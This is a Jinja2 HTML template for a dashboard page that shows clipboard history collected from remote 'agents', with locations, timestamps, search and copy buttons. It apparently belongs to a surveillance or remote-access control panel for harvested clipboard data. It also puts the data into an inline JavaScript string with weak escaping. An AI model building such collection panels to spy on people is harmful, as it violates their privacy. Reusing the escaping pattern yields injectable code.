{% extends "base.html" %}
{% block title %}Clipboard Data - {{ agent_id }}{% endblock %}

{% block content %}
<div class="space-y-6 p-6">
  <!-- Header -->
  <div class="flex items-center justify-between">
    <h1 class="text-2xl font-semibold text-gray-100">Clipboard History</h1>
    <a href="{{ url_for('agent_data', agent_id=agent_id) }}" class="text-blue-500 hover:text-blue-400">
      ← Back to Agent
    </a>
  </div>

  <!-- Search Bar -->
  <div class="w-full">
    <input type="text" 
           id="searchInput" 
           placeholder="Search clipboard contents..."
           class="w-full bg-gray-800 text-gray-100 px-4 py-2 rounded-lg border border-gray-700 focus:ring-2 focus:ring-blue-500 focus:outline-none">
  </div>

  <!-- Clipboard Entries -->
  <div class="space-y-4" id="clipboardContainer">
    {% for record in records %}
      {% set payload = record.payload|from_json %}
      <div class="clipboard-item bg-gray-800 rounded-lg shadow-lg overflow-hidden">
        <!-- Header -->
        <div class="bg-gray-700 p-3 flex justify-between items-center">
          <span class="text-sm text-gray-300">{{ payload.location }}</span>
          <span class="text-sm text-gray-400">{{ record.timestamp }}</span>
        </div>
        
        <!-- Content -->
        <div class="p-4">
          {% if payload.error %}
            <div class="bg-red-900/50 text-red-300 p-3 rounded flex items-center">
              <svg class="w-5 h-5 mr-2" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z" />
              </svg>
              {{ payload.error }}
            </div>
          {% elif payload.clipboardData %}
            <div class="bg-gray-900 rounded p-3">
              <pre class="text-sm text-gray-300 whitespace-pre-wrap break-words">{{ payload.clipboardData }}</pre>
            </div>
            <div class="mt-3 flex justify-end">
              <button onclick="copyToClipboard(this, '{{ payload.clipboardData|replace("'", "\\'") }}')"
                      class="bg-blue-600 hover:bg-blue-700 text-white px-4 py-1 rounded text-sm">
                Copy
              </button>
            </div>
          {% else %}
            <div class="text-gray-400 italic">No clipboard data available</div>
          {% endif %}
        </div>
      </div>
    {% endfor %}
  </div>
</div>
{% endblock %}

{% block scripts %}
<script>
document.addEventListener('DOMContentLoaded', function() {
  const searchInput = document.getElementById('searchInput');
  
  function filterClipboards(searchTerm) {
    const items = document.querySelectorAll('.clipboard-item');
    items.forEach(item => {
      const content = item.querySelector('pre')?.textContent.toLowerCase() || '';
      const location = item.querySelector('.text-gray-300')?.textContent.toLowerCase() || '';
      const error = item.querySelector('.bg-red-900\\/50')?.textContent.toLowerCase() || '';
      const visible = content.includes(searchTerm) || location.includes(searchTerm) || error.includes(searchTerm);
      item.style.display = visible ? 'block' : 'none';
    });
  }

  searchInput.addEventListener('input', function() {
    filterClipboards(this.value.toLowerCase());
  });

  window.copyToClipboard = function(button, text) {
    navigator.clipboard.writeText(text)
      .then(() => {
        const originalText = button.textContent;
        button.textContent = 'Copied!';
        button.classList.remove('bg-blue-600', 'hover:bg-blue-700');
        button.classList.add('bg-green-600', 'hover:bg-green-700');
        
        setTimeout(() => {
          button.textContent = originalText;
          button.classList.remove('bg-green-600', 'hover:bg-green-700');
          button.classList.add('bg-blue-600', 'hover:bg-blue-700');
        }, 2000);
      })
      .catch(err => {
        console.error('Failed to copy:', err);
        alert('Failed to copy to clipboard');
      });
  }
});
</script>
{% endblock %}